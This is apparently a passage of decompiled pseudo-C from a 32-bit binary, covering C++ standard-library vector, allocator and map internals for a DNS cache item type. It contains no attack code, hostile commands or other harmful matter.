std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
*(int32_t *)((int32_t)a1 + 12) = time(&g2->e0);
return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)a1, a2);
}
// Address range: 0x80577ca - 0x80577f3
int32_t CDNSCacheItem__operator_eq_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x80577d3
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)a1, (int32_t **)a2);
*(int32_t *)(result + 12) = *(int32_t *)((int32_t)a2 + 12);
return result;
}
// Address range: 0x80577f4 - 0x8057915
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135(struct struct_20 * a1, int32_t ** a2) {
struct struct_3 * v1 = NULL; // bp-18
struct struct_3 * v2 = NULL; // bp-17
int32_t v3 = g98; // 0x80577f7
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a2);
g96 = (int32_t)a1;
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124((struct struct_3 *)a1, std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(a2), (int32_t)v1);
std__allocator_lt_std__string_gt_(&v1->e0);
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1);
g98 = *(int32_t *)a1;
int32_t * v4;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v4, (int32_t *)a2);
int32_t * v5;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v5, a2);
int32_t v6 = std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(v5, v4, (struct struct_10 *)g98); // 0x80578b9
a1->e1 = v6;
int32_t result = std__allocator_lt_std__string_gt_(&v2->e0); // 0x80578ce
g98 = v3;
return result;
}
// Address range: 0x8057916 - 0x805793d
int32_t CDNSCacheItem_136(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x805791f
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)a2);
*(int32_t *)(result + 12) = *(int32_t *)((int32_t)a2 + 12);
return result;
}
// Address range: 0x805793e - 0x8057995
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(struct struct_3 * a1, int32_t a2, int32_t a3) {
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&a1->e0, &a2);
a2 = a3;
return CDNSCacheItem_136(&((struct struct_3 *)((int32_t)a1 + 4))->e0, &a2);
}
// Address range: 0x8057996 - 0x80579f3
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(struct struct_3 * a1, int32_t a2) {
int32_t v1 = a2; // bp-24
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&a1->e0, &v1);
v1 = a2 + 4;
return CDNSCacheItem_136(&((struct struct_3 *)((int32_t)a1 + 4))->e0, &v1);
}
// Address range: 0x80579f4 - 0x8057a51
int32_t __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(int32_t a1, int32_t * a2) {
int32_t v1 = _ZnwjPv((int32_t *)20); // 0x8057a03
struct struct_3 * v2 = (struct struct_3 *)v1; // 0x8057a03_4
struct struct_3 * v3; // 0x8057a1d_5
if (v1 != 0) {
// 0x8057a14
int32_t * v4;
v3 = (struct struct_3 *)std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(v2, (int32_t)v4);
// branch -> 0x8057a4c
} else {
v3 = v2;
}
// 0x8057a4c
return (int32_t)v3;
}
// Address range: 0x8057a52 - 0x8057a9d
int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(void) {
// 0x8057a52
int32_t * v1;
int32_t * v2;
if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v1, v2) == 0) {
// 0x8057a9b
return 0;
}
std___Destroy_lt_std__string_gt_(__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v1));
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(v1);
while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v1, v2) != 0) {
// 0x8057a5a
std___Destroy_lt_std__string_gt_(__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v1));
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(v1);
// continue -> 0x8057a5a
}
// 0x8057a9b
return 0;
}
// Address range: 0x8057ac2 - 0x8057b83
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x8057acc
int32_t * v1;
*a1 = v1;
int32_t * v2;
if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a2, v2) == 0) {
// 0x8057b79
return result;
}
g98 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_std__string_comma__std__string_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)a1);
while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a2, v2) != 0) {
// 0x8057ad3
g98 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_std__string_comma__std__string_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)a1);
// continue -> 0x8057ad3
}
// 0x8057b79
return result;
}
// Address range: 0x8057b84 - 0x8057bc7
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8057b87
g101 = (int32_t)a1;
int32_t ** v2;
std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8057bbc
g101 = v1;
return result;
}
// Address range: 0x8057bc8 - 0x8057bfb
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8057bcb
g101 = (int32_t)a1;
int32_t ** v2;
std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8057bf0
g101 = v1;
return result;
}
// Address range: 0x8057bfc - 0x8058079
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3) {
struct struct_3 * v1 = NULL; // bp-45
struct struct_3 * v2 = NULL; // bp-37
struct struct_3 * v3 = NULL; // bp-29
struct struct_10 * v4 = NULL;
int32_t v5 = g101; // 0x8057bff
int32_t v6 = g98; // 0x8057c00
int32_t * v7; // 0x8058079_11
if (a1->e1 == a1->e2) {
int32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x8057d0d
struct struct_10 * v9 = (struct struct_10 *)v8; // bp-20
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size();
int32_t * v10;
int32_t v11;
std____throw_length_error("vector::_M_insert_aux", v11, 0, (int32_t)v10);
struct struct_10 * v12 = NULL; // 0x8057d5d_0
struct struct_10 * v13 = (struct struct_10 *)1;
if (v9 != NULL) {
// 0x8057d43
v12 = v9;
v13 = (struct struct_10 *)(2 * (int32_t)v9);
// branch -> 0x8057d54
}
struct struct_10 * v14 = v13; // bp-16
struct struct_10 * v15 = v13; // 0x8057d79_0
if (v13 < v12) {
// 0x8057d62
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size();
v14 = (struct struct_10 *)0x3fffffff;
v15 = (struct struct_10 *)0x3fffffff;
// branch -> 0x8057d73
}
// 0x8057d73
int32_t * v16;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v16, (int32_t *)std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate((int32_t *)a1, v15));
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1);
g98 = (int32_t)v16;
g101 = (int32_t)a2;
int32_t * v17;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v17, (int32_t *)a1);
int32_t ** v18;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(v18, v17, (struct struct_10 *)g101, (int32_t *)g98);
std__allocator_lt_std__string_gt_(&v1->e0);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base((int32_t *)v18);
__gnu_cxx____mt_alloc_base_lt_std__string_gt___construct((int32_t *)a1, (int32_t *)v4);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)v18);
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1);
g98 = (int32_t)v18;
int32_t * v19;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v19, (int32_t *)((int32_t)a1 + 4));
int32_t ** v20;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(v20, a2, (struct struct_10 *)v19, (int32_t *)g98);
std__allocator_lt_std__string_gt_(&v2->e0);
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v3, (int32_t *)a1);
int32_t * v21;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v21, (int32_t)a1);
int32_t * v22;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v22, (int32_t *)a1);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(v22);
std__allocator_lt_std__string_gt_(&v3->e0);
int32_t v23 = ((int32_t)a1->e2 - *(int32_t *)a1) / 4; // 0x805800c
int32_t v24 = *(int32_t *)a1; // 0x8058014
g96 = (int32_t)a1;
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v24, (int32_t *)v23);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v16);
a1->e0 = (int32_t *)v4;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base((int32_t *)v20);
a1->e1 = (int32_t *)v4;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v16);
*(int32_t *)((int32_t)a1 + 8) = 4 * (int32_t)v14 + (int32_t)v4;
v7 = (int32_t *)a1;
// branch -> 0x8058073
} else {
// 0x8057c18
__gnu_cxx____mt_alloc_base_lt_std__string_gt___construct((int32_t *)a1, a1->e1);
a1->e1 = (int32_t *)((int32_t)a1->e1 + 4);
int32_t v25;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v25, a3);
int32_t * v26 = a1->e1; // 0x8057c5c
int32_t * v27;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 4));
int32_t * v28 = a1->e1; // 0x8057c7b
int32_t * v29;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8));
int32_t ** v30;
std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v30, a2, v29, v27);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2);
std__string__operator_eq__675();
int32_t v31 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v25); // 0x8057cfa
v7 = (int32_t *)v31;
// branch -> 0x8058073
}
// 0x8058073
g98 = v6;
g101 = v5;
return (int32_t)v7;
}
// Address range: 0x805807a - 0x80580e7
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x8058080
int32_t * v2 = (int32_t *)(v1 + 4); // 0x8058083_0
int32_t * v3; // 0x80580de_5
if (*v2 == *(int32_t *)(v1 + 8)) {
// 0x80580ba
int32_t * v4;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v4, v1);
v3 = (int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, a2);
// branch -> 0x80580e6
} else {
// 0x8058090
__gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(a1, (int32_t *)*v2);
*v2 = *v2 + 4;
v3 = a1;
// branch -> 0x80580e6
}
// 0x80580e6
return (int32_t)v3;
}
// Address range: 0x80580e8 - 0x80580f1
int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size(void) {
// 0x80580e8
return 0x71c71c7;
}
// Address range: 0x80580f2 - 0x8058239
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2) {
// 0x80580f2
__gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size();
g95 = a2 > 0x71c71c7 != false;
if (a2 > 0x71c71c7 != false) {
// 0x8058119
std____throw_bad_alloc();
// branch -> 0x805811e
}
// 0x805811e
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 36 * a2; // 0x8058135
int32_t * v3 = (int32_t *)v2; // 0x8058138_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x8058151
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x8058234
// 0x8058234
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8058177
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8058188
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x805819c_4
int32_t * v8 = *v7; // 0x80581b5
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x8058217
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x8058234
} else {
int32_t * v9 = *v7; // 0x80581ce
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x805820f
result = v10;
// branch -> 0x8058234
}
// 0x8058234
return result;
}
// Address range: 0x805823a - 0x8058255
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(int32_t * a1) {
// 0x805823a
return __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, 1);
}
// Address range: 0x8058256 - 0x8058311
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(int32_t * a1, int32_t * a2) {
int32_t v1 = g98; // 0x8058259
int32_t result = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(a1); // 0x8058263
g98 = result + 16;
int32_t v2;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(v2, a1);
__gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(v2, (int32_t *)g98);
std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v2);
g98 = v1;
return result;
}
// Address range: 0x8058312 - 0x80583cf
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5) {
// 0x8058312
int32_t * v1; // 0x80583ab_0
int32_t v2; // 0x8058382
int32_t v3; // 0x805838d
if (a3 != NULL) {
// 0x8058373
v2 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(a2, a5);
v3 = (int32_t)a2;
std___Rb_tree_insert_and_rebalance((int32_t **)1, (struct struct_96 *)v2, a4, (struct struct_94 *)(v3 + 4));
v1 = (int32_t *)(v3 + 20);
*v1 = *v1 + 1;
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, (int32_t *)v2);
return (int32_t)a1;
}
// 0x805831f
int32_t v4;
if ((int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2) != a4) {
// 0x8058332
g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)a4);
int32_t v5;
int32_t v6 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v5); // 0x805834c
v4 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v6) != 0;
// branch -> 0x8058373
} else {
v4 = 1;
}
// 0x8058373
v2 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(a2, a5);
v3 = (int32_t)a2;
std___Rb_tree_insert_and_rebalance((int32_t **)v4, (struct struct_96 *)v2, a4, (struct struct_94 *)(v3 + 4));
v1 = (int32_t *)(v3 + 20);
*v1 = *v1 + 1;
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, (int32_t *)v2);
return (int32_t)a1;
}
// Address range: 0x80583d2 - 0x80585a9
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x80583df
int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x80583f0_3
bool v3 = false;
if (v1 != 0) {
// branch -> 0x8058401
char v4; // 0x805843a
int32_t * v5; // 0x0111
while (true) {
// 0x8058401
v5 = (int32_t *)v1;
g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v5);
int32_t v6;
uint32_t v7 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v6)); // 0x8058432
v4 = v7;
int32_t v8;
if (v7 % 256 == 0) {
// 0x8058457
v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v5);
// branch -> 0x8058469
} else {
// 0x8058443
v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v5);
// branch -> 0x8058469
}
// 0x8058469
if (v8 == 0) {
// break -> 0x8058475
break;
}
v1 = v8;
// continue -> 0x8058401
}
// 0x8058475
v2 = v5;
v3 = v4 == 0;
// branch -> 0x8058475
}
// 0x8058475
int32_t ** v9;
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v9, v2);
int32_t v10; // 0x805851b
int32_t v11; // 0x805852c
int32_t v12;
int32_t * v13;
if (v3) {
// 0x8058511
v10 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v12);
g98 = v10;
v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v9);
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) {
// 0x8058588
std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, (int32_t *)v9, (char *)g2);
// branch -> 0x80585a2
} else {
// 0x8058549
